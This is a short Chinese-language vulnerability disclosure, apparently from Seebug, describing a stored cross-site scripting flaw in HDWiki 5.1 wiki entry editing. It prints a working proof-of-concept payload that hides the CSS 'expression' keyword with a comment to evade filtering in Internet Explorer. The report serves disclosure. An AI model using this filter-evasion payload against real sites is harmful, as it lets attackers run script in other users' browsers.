hdwiki5.1储存型xss跨站漏洞

### 简要描述： hdwiki5.1储存型xss跨站漏洞 ### 详细说明： 注册会员-编辑词条或者创建词条-编辑框选择源代码 可以利用在expression中插入注释比如：expr/*XSS*/ession 造成XSS漏洞 测试代码如下 <img style="xss:expr/*xss*/ession(alert('xss'))"> ie 浏览器下有效 [<img src="https://images.seebug.org/upload/201403/17114017a02ad0829b99da5dcf7faac2ae5699b2.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/17114017a02ad0829b99da5dcf7faac2ae5699b2.jpg) [<img src="https://images.seebug.org/upload/201403/1711402709f0a78d4b3d3fd67490d3666828614a.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/1711402709f0a78d4b3d3fd67490d3666828614a.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201403/17114017a02ad0829b99da5dcf7faac2ae5699b2.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/17114017a02ad0829b99da5dcf7faac2ae5699b2.jpg) [<img src="https://images.seebug.org/upload/201403/1711402709f0a78d4b3d3fd67490d3666828614a.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/1711402709f0a78d4b3d3fd67490d3666828614a.jpg)